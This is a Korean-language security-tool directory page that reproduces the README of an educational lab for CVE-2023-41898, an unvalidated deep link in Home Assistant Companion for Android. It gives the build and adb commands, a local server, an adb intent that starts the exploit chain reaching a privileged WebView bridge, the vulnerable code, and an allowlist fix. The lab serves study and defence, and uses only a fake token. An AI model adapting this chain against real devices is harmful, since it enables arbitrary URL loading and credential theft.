Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-41898_Lab — CVE-2023-41898 살펴보기: Home Assistant Android에서 검증되지 않은 딥 링크를 악용하여 권한 있는 WebView에서 임의의 URL을 로드하고 가짜 토큰을 유출하는 방법. | Kitploit
도구/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Android SecurityVulnerability AnalysisMobile App PentestingLearning & EducationLabs & Practice
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

CVE-2023-41898 살펴보기: Home Assistant Android에서 검증되지 않은 딥 링크를 악용하여 권한 있는 WebView에서 임의의 URL을 로드하고 가짜 토큰을 유출하는 방법.

저장소 보기
9일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-41898 Unvalidated Deep Link Lab

Home Assistant Companion for Android의 공개 취약점 보고서(GHSL-2023-142)와 취약 버전 2023.8.2의 오픈소스 구조를 바탕으로 만든 교육용 축소 재현 Lab이다.

실제 Home Assistant 서버·계정·토큰은 사용하지 않는다. LAB_TOKEN_CVE_2023_41898_NOT_REAL이라는 고정된 가상 토큰만 노출한다.

취약점 개요

  • 대상: Home Assistant Companion for Android
  • 영향 버전: 2023.9.2 미만(공식 권고 기준)
  • 수정 버전: 2023.9.2
  • 분류: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • 결과: 임의 JavaScript 실행, 제한적 네이티브 기능 호출, 인증정보 탈취 가능

Lab 구조

root@kitploit:~
Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 검증 없이 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 공격자 페이지에 externalApp JavaScript bridge 노출
  ▼
가상 LAB_TOKEN 표시

Android manifest의 intent-filter는 어떤 URI가 암시적 Intent와 매칭되는지를 정의할 뿐, 명시적으로 컴포넌트를 지정한 Intent의 data URI를 자동 검증하지 않는다.

구성 요소

  • victim/: 취약한 deep-link handler와 권한 있는 WebView를 재현한 앱
  • attacker/: 피해 앱의 exported Activity에 명시적 Intent를 보내는 앱
  • web/: 로컬에서 제공할 1·2단계 공격 페이지
  • dist/: 검증 완료된 debug APK
  • UPSTREAM.md: 원본 소스와 Lab 구현의 대응 관계

빌드

요구 사항: JDK 17 이상, Android SDK 36, Gradle/Android Gradle Plugin 캐시 또는 인터넷 연결.

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

설치 및 실습

허가받은 에뮬레이터 또는 테스트 기기에서만 실행한다.

1. APK 설치

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. 로컬 공격 페이지 실행

Lab 루트에서 다음 명령을 실행한다.

root@kitploit:~
python3 -m http.server 8000 --directory web

Android Studio 기본 에뮬레이터에서 10.0.2.2는 호스트 PC의 loopback을 가리킨다. 실제 테스트 기기를 쓴다면 web/exploit.html과 공격 앱의 URL을 PC의 LAN IP로 변경한다.

3. 공격 흐름 확인

  1. CVE-2023-41898 Victim과 CVE-2023-41898 Attacker 앱을 설치한다.
  2. 로컬 HTTP 서버를 실행한다.
  3. Attacker 앱에서 취약 딥링크 흐름 실행을 누른다.
  4. 첫 번째 공격 페이지가 내부 homeassistant://navigate/ URL로 이동한다.
  5. 두 번째 WebView에 공격자 페이지가 로드되고 LAB_TOKEN_CVE_2023_41898_NOT_REAL이 표시되는지 확인한다.

ADB로 공격 앱 없이 첫 단계를 호출할 수도 있다.

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

취약 코드와 수정 방향

취약한 구현은 외부 URI를 그대로 로드한다.

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

수정 시에는 파싱된 URI의 scheme, host, port, path를 엄격한 allowlist로 검증해야 한다. 문자열 startsWith 비교는 사용자정보([email protected]), 서브도메인 및 인코딩 우회 위험이 있으므로 사용하지 않는다.

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

추가로 WebView에서 불필요한 JavaScript와 JavascriptInterface를 제거하고, 모든 탐색과 리다이렉션에도 동일한 URL 검증을 적용해야 한다.

안전 범위와 원본의 차이

  • 원본 앱 전체를 빌드하지 않고 취약 데이터 흐름만 작은 Java 프로젝트로 재현했다.
  • 실제 패키지명, 인증 저장소, 서버 통신 및 스마트홈 기능을 포함하지 않는다.
  • 실제 인증 토큰 대신 고정된 가상 토큰만 사용한다.
  • 인터넷 공격 서버가 아닌 호스트 PC의 로컬 HTTP 서버만 사용한다.

참고 자료

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Home Assistant 보안 권고 GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • 취약 버전 소스 태그 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
도구 다운로드